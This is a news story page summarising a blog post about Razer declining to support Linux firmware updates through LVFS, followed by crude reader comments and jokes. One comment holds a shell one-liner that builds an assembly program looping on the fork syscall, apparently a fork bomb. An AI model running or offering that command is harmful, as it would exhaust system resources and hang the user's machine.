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'Razer Doesn't Care About Linux' (gnome.org)
An anonymous reader shares a blog post: Razer is a vendor that makes high-end gaming hardware, including laptops, keyboards and mice. I opened a ticket with Razor a few days ago asking them if they wanted to support the LVFS project by uploading firmware and sharing the firmware update protocol used. I offered to upstream any example code they could share under a free license, or to write the code from scratch given enough specifications to do so. This is something I've done for other vendors, and doesn't take long as most vendor firmware updaters all do the same kind of thing; there are only so many ways to send a few kb of data to USB devices. The fwupd project provides high-level code for accessing USB devices, so yet-another-update-protocol is no big deal. I explained all about the LVFS, and the benefits it provided to a userbase that is normally happy to vote using their wallet to get hardware that's supported on the OS of their choice. I just received this note on the ticket, which was escalated appropriately: "I have discussed your offer with the dedicated team and we are thankful for your enthusiasm and for your good idea. I am afraid I have also to let you know that at this moment in time our support for software is only focused on Windows and Mac." The post, written by Richard -- who has long been a maintainer of GNOME Software, PackageKit, GNOME Packagekit, points out that Razer executive Min-Liang Tan last year invited Linux enthusiasts to suggest ideas to help the company make the best notebook that supports Linux.
It's Razer, but the reDhaT employee that logged the ticket didn't even have the decency to spell their name correctly.
"We asked this company to help us out and they told us that they weren't interested so I guess now we're just going to publicly call them out as a bunch of shitbags so that next time I bet they'll bend over backwards to do what we ask."
Ah, the old "aggressive asshole panhandler" routine. Works every time.
Log in or piss off.
I'm sure Razer is terrified at losing the massive Linux desktop market. After all, 2018 is the year of ...
I've always thought MS should do something like this
1) Initially unactivated Windows runs normally
2) After a while the screen develops a one pixel black border
3) The border gradually grows
4) When wide enough cockroach like bugs occasionally sneak in
5) When enough roaches are on screen they grab the mouse pointer or move icons on the desktop
6) However moving the mouse pointer will initially scare them off
7) Later on they lose their fear of the mouse pointer and brazenly walk on the main screen, not just the border.
8) At this stage you can still click on them and they will be destroyed with a squish animation. If you leave the machine locked when you unlock it you'll spend a minute battling bugs.
9) Windows will offer you "Microsoft insecticide" the price of which will be a Windows license
The reason I like it is because you'd go into shops in China and people would be frantically clicking to kill the bugs on their pirated Windows
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The reason I like it is because you'd go into shops in China and people would be frantically clicking to kill the bugs on their pirated Windows
Korea would turn it into an e-sport.
And would be better at it than anyone else in the world.